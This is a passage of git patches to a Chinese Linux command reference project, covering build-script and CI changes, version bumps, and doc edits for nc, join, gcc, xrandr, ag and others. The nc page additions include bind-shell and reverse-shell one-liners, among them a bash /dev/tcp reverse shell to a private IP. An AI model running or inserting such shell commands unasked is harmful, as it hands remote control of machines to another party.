pathResolve, join as pathJoin } from 'path'; +import sqlite3 from 'sqlite3'; +import archiver from 'archiver'; +import {fileURLToPath} from 'url'; + +const __filename = fileURLToPath(import.meta.url); +const __dirname = path.dirname(__filename); +const pkg = fs.readJSONSync(pathResolve(__dirname, '../package.json')); const DATA_DIR = pathResolve(__dirname, '../assets/'); const INDEX_JSON_PATH = pathResolve(__dirname, '../dist/data.json'); diff --git a/package.json b/package.json index 9cf84a157ef..fc23f31ef5a 100644 --- a/package.json +++ b/package.json @@ -7,7 +7,7 @@ "scripts": { "start": "npm run build", "build": "node build/build.mjs", - "dash": "npm run build && node build/dash.js" + "dash": "npm run build && node build/dash.mjs" }, "files": [ "command", From 3820b99ee9734b4e5299563e17d6db52bae30513 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Aug 2022 13:55:14 +0800 Subject: [PATCH 0533/1019] chore: update workflows config. --- .github/workflows/ci.yml | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 5030193561c..d38dc7f3d3c 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -13,12 +13,8 @@ jobs: with: node-version: 16 - - name: Generate Contributors Images - uses: jaywcjlove/github-action-contributors@main - with: - filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) - avatarSize: 42 - + - run: npm -v + - run: node -v - run: npm install - run: npm run build - run: node run dash @@ -29,6 +25,13 @@ jobs: - run: cp -rp .deploy/linux-command.docset/linux-command.docset.zip ./ - run: rm -rf .deploy/linux-command.docset + + - name: Generate Contributors Images + uses: jaywcjlove/github-action-contributors@main + with: + filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) + avatarSize: 42 + - run: cp CONTRIBUTORS.svg .deploy - name: Create Tag From 6c0c9b798163b850538e50de06e067921120960b Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Aug 2022 14:14:37 +0800 Subject: [PATCH 0534/1019] chore: rename build => scripts --- package.json | 6 +++--- {build => scripts}/build.mjs | 0 {build => scripts}/dash.mjs | 0 {build => scripts}/sitemap.js | 0 4 files changed, 3 insertions(+), 3 deletions(-) rename {build => scripts}/build.mjs (100%) rename {build => scripts}/dash.mjs (100%) rename {build => scripts}/sitemap.js (100%) diff --git a/package.json b/package.json index fc23f31ef5a..0f6a09746b7 100644 --- a/package.json +++ b/package.json @@ -6,8 +6,8 @@ "main": "dist/data.json", "scripts": { "start": "npm run build", - "build": "node build/build.mjs", - "dash": "npm run build && node build/dash.mjs" + "build": "node scripts/build.mjs", + "dash": "npm run build && node scripts/dash.mjs" }, "files": [ "command", @@ -38,6 +38,6 @@ "uglify-js": "~3.16.0" }, "engines": { - "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + "node": ">=16.0.0" } } diff --git a/build/build.mjs b/scripts/build.mjs similarity index 100% rename from build/build.mjs rename to scripts/build.mjs diff --git a/build/dash.mjs b/scripts/dash.mjs similarity index 100% rename from build/dash.mjs rename to scripts/dash.mjs diff --git a/build/sitemap.js b/scripts/sitemap.js similarity index 100% rename from build/sitemap.js rename to scripts/sitemap.js From ff590e75707ab7dda2108d785390cf3542d819d6 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Aug 2022 14:19:24 +0800 Subject: [PATCH 0535/1019] chore: update workflows config. --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index d38dc7f3d3c..0500ca3ee7f 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -17,7 +17,7 @@ jobs: - run: node -v - run: npm install - run: npm run build - - run: node run dash + - run: npm run dash - name: Compress linux-command.docset. run: zip -r -y linux-command.docset.zip . -x "node_modules/*" From 248fadc2b4e7179d9da4e9b5c10f0d2b72ae203f Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Tue, 30 Aug 2022 14:20:34 +0800 Subject: [PATCH 0536/1019] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20nc=20=E5=91=BD?= =?UTF-8?q?=E4=BB=A4=E7=94=A8=E4=BE=8B=20(#409)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * 修改107行的g全局作用 g不应该是匹配每一行的第一个匹配项，而是每一行的所有匹配项 * 增加修改用户家目录的选项以及实例 增加修改用户家目录的选项以及实例 * 添加fping新命令 * Update fping.md * updat find.md * 修改错别字 * 更新sed使用方法 * 修改ip命令部分解释 * 添加nc用法 * modify nc Co-authored-by: lutixiaya <13657216957@163.com> Co-authored-by: 小弟调调™ <398188662@qq.com> --- command/nc.md | 50 +++++++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 47 insertions(+), 3 deletions(-) diff --git a/command/nc.md b/command/nc.md index 811164168e7..016e9a53f4f 100644 --- a/command/nc.md +++ b/command/nc.md @@ -35,7 +35,7 @@ nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文 ### 实例 -TCP端口扫描 +**TCP端口扫描** ```shell [root@localhost ~]# nc -v -z -w2 192.168.0.3 1-100 @@ -46,13 +46,13 @@ TCP端口扫描 ``` 扫描192.168.0.3 的端口 范围是 1-100 -扫描UDP端口 +**扫描UDP端口** ```shell [root@localhost ~]# nc -u -z -w2 192.168.0.1 1-1000 # 扫描192.168.0.3 的端口 范围是 1-1000 ``` -扫描指定端口 +**扫描指定端口** ```shell [root@localhost ~]# nc -nvv 192.168.0.1 80 # 扫描 80端口 @@ -68,5 +68,49 @@ nc -vz acme-v02.api.letsencrypt.org 443 -w2 # Ncat: Connected to 23.77.214.183:443. # Ncat: 0 bytes sent, 0 bytes received in 0.07 seconds. ``` +**文件传输** +```shell +# 接收方提前设置监听端口与要接收的文件名（文件名可自定义）： +nc -lp 8888 > node.tar.gz + +# 传输方发文件： +nc -nv 192.168.75.121 8888 < node_exporter-1.3.1.linux-amd64.tar.gz + +注意：192.168.75.121是接收方的ip地址。 +``` + +```shell +# 如果希望文件传输结束后自动退出，可以使用下面的命令： +nc -lp 8888 > node.tar.gz +nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz + +注意：-i 表示闲置超时时间 +``` + +**远程控制** +```shell +# 正向控制，被控端主动设置监听端口及bash环境，控制端连接，如果有防火墙，需开放端口，否则会被拦截。 +# 被控制端执行下面的命令： +nc -lvnp 8888 -c bash +# 控制端执行下面的命令： +nc 192.168.75.121 8888 +``` + +```shell +# 反向控制，控制端设置监听端口，被控端主动连接控制端的ip及端口，并提供bash环境。 +# 控制端执行下面的命令： +nc -lvnp 8888 +# 被控制端执行下面的命令： +nc 192.168.75.121 8888 -c bash +``` + +**反弹shell** +```shell +# 控制端执行下面的命令： +nc -lvnp 8888 + +# 被控端执行下面的命令: +bash -i &> /dev/tcp/192.168.75.121/8888 0>&1 +``` From 8a152e33e5a8600066373f5d2ba57affd313c26c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Tue, 30 Aug 2022 14:25:22 +0800 Subject: [PATCH 0537/1019] Update nc.md (#409) --- command/nc.md | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/command/nc.md b/command/nc.md index 016e9a53f4f..64a8ee517fd 100644 --- a/command/nc.md +++ b/command/nc.md @@ -76,19 +76,18 @@ nc -lp 8888 > node.tar.gz # 传输方发文件： nc -nv 192.168.75.121 8888 < node_exporter-1.3.1.linux-amd64.tar.gz - -注意：192.168.75.121是接收方的ip地址。 +# ⚠️ 注意：192.168.75.121是接收方的ip地址。 ``` ```shell # 如果希望文件传输结束后自动退出，可以使用下面的命令： nc -lp 8888 > node.tar.gz nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz - -注意：-i 表示闲置超时时间 +# ⚠️ 注意：-i 表示闲置超时时间 ``` **远程控制** + ```shell # 正向控制，被控端主动设置监听端口及bash环境，控制端连接，如果有防火墙，需开放端口，否则会被拦截。 # 被控制端执行下面的命令： @@ -106,10 +105,13 @@ nc 192.168.75.121 8888 -c bash ``` **反弹shell** + ```shell # 控制端执行下面的命令： nc -lvnp 8888 +``` +``` # 被控端执行下面的命令: bash -i &> /dev/tcp/192.168.75.121/8888 0>&1 ``` From 8061086f1e41e767207be3f0b8fa0048bc0ef835 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Aug 2022 15:07:33 +0800 Subject: [PATCH 0538/1019] released v1.11.1 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 0f6a09746b7..22bd6056ab8 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.11.0", + "version": "1.11.1", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From f75d1cb0947f6b4fe629104c9369148901c324b2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=AD=A4=E5=9F=8E=E8=90=BD=E5=AF=9E?= Date: Tue, 30 Aug 2022 16:26:19 +0800 Subject: [PATCH 0539/1019] =?UTF-8?q?feat:=20zip=20=E5=8F=98=E6=9B=B4=20tg?= =?UTF-8?q?z,=20=E6=96=B0=E5=A2=9E=20dash=20feed=20(#411)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .github/workflows/ci.yml | 41 +++++++++++++++----------------- package.json | 2 +- scripts/dash.mjs | 50 +++++++--------------------------------- 3 files changed, 28 insertions(+), 65 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 0500ca3ee7f..32e7413ed4a 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -13,26 +13,18 @@ jobs: with: node-version: 16 - - run: npm -v - - run: node -v - - run: npm install - - run: npm run build - - run: npm run dash - - - name: Compress linux-command.docset. - run: zip -r -y linux-command.docset.zip . -x "node_modules/*" - working-directory: .deploy/linux-command.docset - - run: cp -rp .deploy/linux-command.docset/linux-command.docset.zip ./ - - - run: rm -rf .deploy/linux-command.docset - - name: Generate Contributors Images uses: jaywcjlove/github-action-contributors@main with: filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) avatarSize: 42 - - run: cp CONTRIBUTORS.svg .deploy + - name: Build Linux Command + run: | + npm install + npm run dash + cp CONTRIBUTORS.svg .deploy + rm -rf .deploy/linux-command.docset - name: Create Tag id: create_tag @@ -40,10 +32,14 @@ jobs: with: package-path: ./package.json - - name: get tag version + - name: Get Tag Version id: tag_version uses: jaywcjlove/changelog-generator@v1.5.3 + - name: Update Dash Feed + run: | + echo "${{steps.create_tag.outputs.versionNumber}}https://jaywcjlove.github.io/linux-command/linux-command.docset.tgz" > .deploy/linux-command-docset.xml + - name: Deploy uses: peaceiris/actions-gh-pages@v3 with: @@ -64,7 +60,7 @@ jobs: uses: ncipollo/release-action@v1 if: steps.create_tag.outputs.successful with: - artifacts: 'linux-command.docset.zip' + artifacts: 'linux-command.docset.tgz' token: ${{ secrets.GITHUB_TOKEN }} name: ${{ steps.create_tag.outputs.version }} tag: ${{ steps.create_tag.outputs.version }} @@ -106,18 +102,19 @@ jobs: http://localhost:9665/ ``` - - - run: npm install @jsdevtools/npm-publish -g - - run: npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json - - - run: rm -rf .deploy/linux-command.docset.zip + - name: Push Npm + run: | + npm install @jsdevtools/npm-publish -g + npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json # Create Docker Image - name: Docker login run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASSWORD }} - name: Build linux-command image - run: docker image build -t linux-command . + run: | + rm -rf .deploy/linux-command.docset.tgz + docker image build -t linux-command . - name: Tags & Push image(latest) run: | diff --git a/package.json b/package.json index 22bd6056ab8..fba5fe4949c 100644 --- a/package.json +++ b/package.json @@ -27,9 +27,9 @@ "devDependencies": { "@uiw/github-corners": "~1.5.11", "@wcj/dark-mode": "~1.0.14", - "archiver": "~5.3.0", "colors-cli": "~1.0.28", "ejs": "~3.1.6", + "compressing": "^1.6.2", "fs-extra": "~10.1.0", "markdown-to-html-cli": "~3.4.1", "sitemap-generator": "~8.5.1", diff --git a/scripts/dash.mjs b/scripts/dash.mjs index ab6c197d9c5..5c41ec183f5 100644 --- a/scripts/dash.mjs +++ b/scripts/dash.mjs @@ -2,7 +2,8 @@ import fs from 'fs-extra'; import path from 'path'; import { resolve as pathResolve, join as pathJoin } from 'path'; import sqlite3 from 'sqlite3'; -import archiver from 'archiver'; +import {tgz} from 'compressing'; +import { spawn } from 'child_process'; import {fileURLToPath} from 'url'; const __filename = fileURLToPath(import.meta.url); @@ -103,45 +104,6 @@ async function buildApi(dbPath) { await createDatabase(arr, dbPath); } -function compressing() { - new Promise((resolve, reject) => { - const outputPaht = pathJoin(process.cwd(), '.deploy', 'linux-command.docset.zip'); - // create a file to stream archive data to. - const output = fs.createWriteStream(outputPaht); - const archive = archiver('zip', { - zlib: { level: 9 } // Sets the compression level. - }); - - // listen for all archive data to be written - // 'close' event is fired only when a file descriptor is involved - output.on('close', () => { - console.log(archive.pointer() + ' total bytes'); - console.log('archiver has been finalized and the output file descriptor has closed.'); - resolve(); - }); - - // good practice to catch warnings (ie stat failures and other non-blocking errors) - archive.on('warning', (err) => { - if (err.code === 'ENOENT') { - console.log('warning:::', err) - // log warning - } else { - // throw error - throw err; - } - }); - - // good practice to catch this error explicitly - archive.on('error', function(err) { - reject(err); - }); - - // pipe archive data to the file - archive.pipe(output); - archive.directory(pathJoin(process.cwd(), '.deploy', 'linux-command.docset'), false); - archive.finalize(); - }) -} async function build() { console.log(`mkdir -p ${RESOURCES_DIR}`); @@ -154,8 +116,12 @@ async function build() { console.info('build documents'); await buildApi(DB_PATH); - console.info('compressing zip'); - await compressing(); + console.info('compressing tgz'); + // https://github.com/node-modules/compressing/issues/42 建议最好休眠15s，等待其余资源复制完毕 + spawn("sleep", ['15']) + const tgzPath = pathJoin(process.cwd(), '.deploy', 'linux-command.docset'); + const outputPath = pathJoin(process.cwd(), '.deploy', 'linux-command.docset.tgz'); + await tgz.compressDir(tgzPath, outputPath); } build() From 65f29f66a0a9bac67c70bb4e994296a05630588d Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Aug 2022 16:32:06 +0800 Subject: [PATCH 0540/1019] released v1.11.2 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index fba5fe4949c..8ad295813b5 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.11.1", + "version": "1.11.2", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From ad6b52163a0234c0479cd0d5251f9c51c1eca92d Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Aug 2022 16:55:11 +0800 Subject: [PATCH 0541/1019] chore: udpate workflows config. --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 32e7413ed4a..c6d7c48564c 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -60,7 +60,7 @@ jobs: uses: ncipollo/release-action@v1 if: steps.create_tag.outputs.successful with: - artifacts: 'linux-command.docset.tgz' + artifacts: '.deploy/linux-command.docset.tgz' token: ${{ secrets.GITHUB_TOKEN }} name: ${{ steps.create_tag.outputs.version }} tag: ${{ steps.create_tag.outputs.version }} From 6beddcc572c74842e5fddde507b2af44d0df9f3c Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 30 Aug 2022 17:35:39 +0800 Subject: [PATCH 0542/1019] chore: update `scripts/dash.mjs` (#412) --- scripts/dash.mjs | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/scripts/dash.mjs b/scripts/dash.mjs index 5c41ec183f5..fc518caa074 100644 --- a/scripts/dash.mjs +++ b/scripts/dash.mjs @@ -119,9 +119,8 @@ async function build() { console.info('compressing tgz'); // https://github.com/node-modules/compressing/issues/42 建议最好休眠15s，等待其余资源复制完毕 spawn("sleep", ['15']) - const tgzPath = pathJoin(process.cwd(), '.deploy', 'linux-command.docset'); const outputPath = pathJoin(process.cwd(), '.deploy', 'linux-command.docset.tgz'); - await tgz.compressDir(tgzPath, outputPath); + await tgz.compressDir(DOCSET_DIR, outputPath); } build() From 2bab2442113128492cce77117efcabd0472a66c3 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 5 Sep 2022 10:54:08 +0800 Subject: [PATCH 0543/1019] doc: Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 4d157217407..5f12db0a61a 100644 --- a/README.md +++ b/README.md @@ -93,7 +93,7 @@ ### Dash 版本 -由 [**@SHANG殇**](https://github.com/xinshangshangxin) 提供的 `Dash` 版本 [#91](https://github.com/jaywcjlove/linux-command/pull/91)，可配合 `alfred` 玩耍，下载 [linux-command.docset.zip](https://jaywcjlove.github.io/linux-command/linux-command.docset.zip) 文件解压，点击安装即可。 +由 [**@SHANG殇**](https://github.com/xinshangshangxin) 提供的 `Dash` 版本 [#91](https://github.com/jaywcjlove/linux-command/pull/91)，可配合 `alfred` 玩耍，下载 [linux-command.docset.tgz](https://github.com/jaywcjlove/linux-command/releases) 文件解压，点击安装即可。
From bbd6994a1d04b55cde43c176be5286ca3198e63c Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Mon, 5 Sep 2022 17:28:48 +0800 Subject: [PATCH 0544/1019] Update join.md (#414) --- command/join.md | 27 ++++++++++++++++++++++++++- 1 file changed, 26 insertions(+), 1 deletion(-) diff --git a/command/join.md b/command/join.md index 0ff56651e39..b7a3aa422a0 100644 --- a/command/join.md +++ b/command/join.md @@ -31,4 +31,29 @@ join(选项)(参数) * 文件1：要进行合并操作的第1个文件参数； * 文件2：要进行合并操作的第2个文件参数。 - +### 常见用法 +把两个文件制定栏位内容相同的行连接起来： +```shell +[root@localhost ~]# cat name +1 xiaoming +2 xiaowang +3 xiaoliu +[root@localhost ~]# cat city +1 beijing beijing +2 hubei wuhan +3 hunan changsha + +# city文件在后，则拼接在后，如果city文件在前，则name文件拼接在后。 +[root@localhost ~]# join name city +1 xiaoming beijing beijing +2 xiaowang hubei wuhan +3 xiaoliu hunan changsha +``` +把两个文件指定列拼接起来： +```shell +# 把name文件的第2列和city文件的第3列拼接起来 +[root@localhost ~]# join -o 1.2 2.3 name city +xiaoming beijing +xiaowang wuhan +xiaoliu changsha +``` From 38e2b3dc579fb1fc8230eb29f437c92b990801d2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Mon, 5 Sep 2022 17:29:40 +0800 Subject: [PATCH 0545/1019] Update join.md (#414) --- command/join.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/command/join.md b/command/join.md index b7a3aa422a0..50fdccdadd4 100644 --- a/command/join.md +++ b/command/join.md @@ -32,7 +32,9 @@ join(选项)(参数) * 文件2：要进行合并操作的第2个文件参数。 ### 常见用法 + 把两个文件制定栏位内容相同的行连接起来： + ```shell [root@localhost ~]# cat name 1 xiaoming @@ -49,7 +51,9 @@ join(选项)(参数) 2 xiaowang hubei wuhan 3 xiaoliu hunan changsha ``` + 把两个文件指定列拼接起来： + ```shell # 把name文件的第2列和city文件的第3列拼接起来 [root@localhost ~]# join -o 1.2 2.3 name city From d321536f586f57be39e6306fc4a96d161b1463d6 Mon Sep 17 00:00:00 2001 From: Herbert8 Date: Wed, 7 Sep 2022 22:05:00 +0800 Subject: [PATCH 0546/1019] =?UTF-8?q?Update=20zcat.md=20=E5=B0=86=E2=80=9C?= =?UTF-8?q?=E6=A0=87=E6=B3=A8=E2=80=9D=E6=94=B9=E4=B8=BA=E2=80=9C=E6=A0=87?= =?UTF-8?q?=E5=87=86=E2=80=9D=E3=80=82=20(#417)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/zcat.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/zcat.md b/command/zcat.md index 070127192cc..290b22fecca 100644 --- a/command/zcat.md +++ b/command/zcat.md @@ -17,7 +17,7 @@ zcat(选项)(参数) ```shell -S：指定gzip格式的压缩包的后缀。当后缀不是标准压缩包后缀时使用此选项； --c：将文件内容写到标注输出； +-c：将文件内容写到标准输出； -d：执行解压缩操作； -l：显示压缩包中文件的列表； -L：显示软件许可信息； From bb830bc4cbd3eeaf03a007a86a0a5c839a5d6347 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 8 Sep 2022 20:11:53 +0800 Subject: [PATCH 0547/1019] Update gcc.md (#418) --- command/gcc.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/gcc.md b/command/gcc.md index 80b0862f0e2..fac6b762c62 100644 --- a/command/gcc.md +++ b/command/gcc.md @@ -110,7 +110,7 @@ gcc testfun.c test.c -o test ```shell gcc -c testfun.c #将testfun.c编译成testfun.o gcc -c test.c #将test.c编译成test.o -gcc -o testfun.o test.o -o test #将testfun.o和test.o链接成test +gcc testfun.o test.o -o test #将testfun.o和test.o链接成test ``` 以上两种方法相比较，第一中方法编译时需要所有文件重新编译，而第二种方法可以只重新编译修改的文件，未修改的文件不用重新编译。 From 76ebd2748a3fc181ac68b4a31eb97289e9bf6e0d Mon Sep 17 00:00:00 2001 From: lavaicer <52038323+lavaicer@users.noreply.github.com> Date: Sat, 10 Sep 2022 23:46:08 +0800 Subject: [PATCH 0548/1019] add xrandr.md (#419) --- command/xrandr.md | 71 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 71 insertions(+) create mode 100644 command/xrandr.md diff --git a/command/xrandr.md b/command/xrandr.md new file mode 100644 index 00000000000..b579980f577 --- /dev/null +++ b/command/xrandr.md @@ -0,0 +1,71 @@ +xrandr +=== + +X 窗口系统配置管理工具 + +## 补充说明 + +**xrandr命令**RandR（Rotate and Resize，旋转与缩放）是一个X窗口系统扩展，允许客户端动态调整（即缩放、旋转、翻转）屏幕。xrandr是一款官方的randr扩展配置工具。 + +### 语法 + +```shell +xrandr(选项)(参数) +``` + +### 选项 + +```shell +--auto #以系统最大分辨率输出 +--off #指定设备设置为关闭 +--output #输出设备 +--mode #设置分辨率 +--rate #设置刷新率 +--right-of #主显示器右侧 +--left-of #主显示器左侧 +--above #主显示器上方 +--below #主显示器下方 +``` + +### 参数 + +* 显示设备编号 + +### 实例 + +测试配置，列出可用设备及其信息 + +```shell +xrandr +Screen 0: minimum 320 x 200, current 3200 x 1080, maximum 8192 x 8192 +VGA-1 disconnected (normal left inverted right x axis y axis) +HDMI-1 connected primary 1920x1080+0+0 (normal left inverted right x axis y axis) 531mm x 299mm + 1920x1080 59.93 + 60.00* 50.00 59.94 + 1920x1080i 60.00 50.00 59.94 + 1680x1050 59.88 +… +``` + +克隆屏幕 + +```shell +xrandr --output HDMI-1 --auto +``` + +多显示器关闭不需要的 + +```shell +xrandr --output HDMI-1 --off --output HDMI-2 --auto +``` + +指定分辨率和刷新率 + +```shell +xrandr --output HDMI-1 --mode 1920x1080 --rate 60 +``` + +VGA1位于HDMI1左侧，均使用最佳分辨率，分屏显示 + +```shell +xrandr --output VGA1 --auto --output HDMI1 --auto --right-of VGA1 +``` \ No newline at end of file From e6788747c674e21c890570f591669d73b35707cb Mon Sep 17 00:00:00 2001 From: lavaicer <52038323+lavaicer@users.noreply.github.com> Date: Sun, 11 Sep 2022 19:13:21 +0800 Subject: [PATCH 0549/1019] add ag.md (#420) --- command/ag.md | 108 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 108 insertions(+) create mode 100644 command/ag.md diff --git a/command/ag.md b/command/ag.md new file mode 100644 index 00000000000..0471b3e3d11 --- /dev/null +++ b/command/ag.md @@ -0,0 +1,108 @@ +ag +=== + +ack 的升级版，C语言编写，更快更人性化 + +## 补充说明 + +**ag命令** 它比ack快一个数量级。它会忽略 .gitignore 和 .hgignore 中的文件模式。如果源代码库中有您不想搜索的文件，只需将它们的模式添加到 .ignore 文件即可。命令名称比 ack 短 33%，并且所有键都在 home 行！ +[Github-参考链接](https://github.com/ggreer/the_silver_searcher) + +### 语法 + +```shell +ag [options] pattern [path ...] +ag [可选项] 匹配模式 [路径...] +``` + +### 选项 + +```shell +Output Options: + --ackmate 以 AckMate-parseable 的格式显示结果 + -A --after [LINES] 显示匹配行之后的行（默认2行） + -B --before [LINES] 显示匹配行之前的行（默认2行） + --[no]break 不同文件中匹配到的内容新建一行显示（默认开启） + -c --count 只显示每个文件中匹配到的数量 + (This often differs from the number of matching lines) + --[no]color Print color codes in results (Enabled by default) + --color-line-number Color codes for line numbers (Default: 1;33) + --color-match Color codes for result match numbers (Default: 30;43) + --color-path Color codes for path names (Default: 1;32) + --column Print column numbers in results + --[no]filename Print file names (Enabled unless searching a single file) + -H --[no]heading 在每个文件匹配前输出文件名（默认开启） + -C --context [LINES] 显示匹配行上下两行（默认2行） + --[no]group Same as --[no]break --[no]heading + -g --filename-pattern PATTERN + Print filenames matching PATTERN + -l --files-with-matches 显示包含匹配的文件名（不显示匹配的行） + -L --files-without-matches 只显示不包含匹配项的文件名 + --print-all-files Print headings for all files searched, even those that + don\'t contain matches + --[no]numbers Print line numbers. Default is to omit line numbers + when searching streams + -o --only-matching 只输出每行匹配的部分 + --print-long-lines Print matches on very long lines (Default: >2k characters) + --passthrough When searching a stream, print all lines even if they + don\'t match + --silent Suppress all log messages, including errors + --stats Print stats (files scanned, time taken, etc.) + --stats-only Print stats and nothing else. + (Same as --count when searching a single file) + --vimgrep Print results like vim\'s :vimgrep /pattern/g would + (it reports every match on the line) + -0 --null --print0 Separate filenames with null (for 'xargs -0') + +Search Options: + -a --all-types 搜索所有文件（包括隐藏文件） + -D --debug Ridiculous debugging (probably not useful) + --depth NUM 目录搜索最大深度（默认25） + -f --follow 跟随链接进行搜索 + -F --fixed-strings Alias for --literal for compatibility with grep + -G --file-search-regex 根据正则匹配搜索指定类型的文件 + --hidden Search hidden files (obeys .*ignore files) + -i --ignore-case Match case insensitively + --ignore PATTERN Ignore files/directories matching PATTERN + (literal file/directory names also allowed) + --ignore-dir NAME Alias for --ignore for compatibility with ack. + -m --max-count NUM 在一个文件中最大匹配的数量(默认: 10,000) + --one-device 不跟随其他设备的链接搜索 + -p --path-to-ignore STRING + Use .ignore file at STRING + -Q --literal Don\'t parse PATTERN as a regular expression + -s --case-sensitive Match case sensitively + -S --smart-case Match case insensitively unless PATTERN contains + uppercase characters (Enabled by default) + --search-binary 搜索二进制文件 + -t --all-text 搜索所有文本文件（不包括隐藏文件） + -u --unrestricted 搜索所有文件 (忽略 .ignore, .gitignore, etc.; + 搜索二进制和隐藏文件) + -U --skip-vcs-ignores Ignore VCS ignore files + (.gitignore, .hgignore; still obey .ignore) + -v --invert-match 反向匹配 + -w --word-regexp 只匹配整个单词 + -W --width NUM Truncate match lines after NUM characters + -z --search-zip 搜索压缩文件中的内容 + +File Types: +The search can be restricted to certain types of files. Example: + ag --html needle 结果输出到指定类型文件 + - Searches for 'needle' in files with suffix .htm, .html, .shtml or .xhtml. + +For a list of supported file types run: + ag --list-file-types 列出支持的文件类型 +``` + +### 实例 + +列出当前目录下包含 `npm` 的文件 + +```shell +➜ vue-project ag npm ./ +README.md +16:npm install +22:npm run dev +28:npm run build +``` + From 542a8e9466c2c18fa2a4eeb692043a79dbfd0ca7 Mon Sep 17 00:00:00 2001 From: lavaicer <52038323+lavaicer@users.noreply.github.com> Date: Mon, 12 Sep 2022 15:03:49 +0800 Subject: [PATCH 0550/1019] update 7z.md (#421) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * add xrandr.md * add ag.md * Update ag.md * 统一格式,方便脚本处理 7z.md --- command/7z.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/command/7z.md b/command/7z.md index e20a42cd038..d466abe0e43 100644 --- a/command/7z.md +++ b/command/7z.md @@ -3,8 +3,6 @@ 拥有极高压缩比的开源压缩软件。 -用 7-Zip 解压过：zip、iso、7z压缩文件。 - ## 安装 在 Linux 中输入以下命令安装 7-Zip。 From edcc1c41ffdeba4592be463dc7e553ea1624250e Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Mon, 12 Sep 2022 15:04:16 +0800 Subject: [PATCH 0551/1019] chore(deps): update dependency markdown-to-html-cli to ~3.5.0 (#415) --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 8ad295813b5..8853c3087c8 100644 --- a/package.json +++ b/package.json @@ -31,7 +31,7 @@ "ejs": "~3.1.6", "compressing": "^1.6.2", "fs-extra": "~10.1.0", - "markdown-to-html-cli": "~3.4.1", + "markdown-to-html-cli": "~3.5.0", "sitemap-generator": "~8.5.1", "sqlite3": "5.0.8", "stylus": "~0.59.0", From f34e08f5effce8e8bd72f5b4628b0421d0edbf93 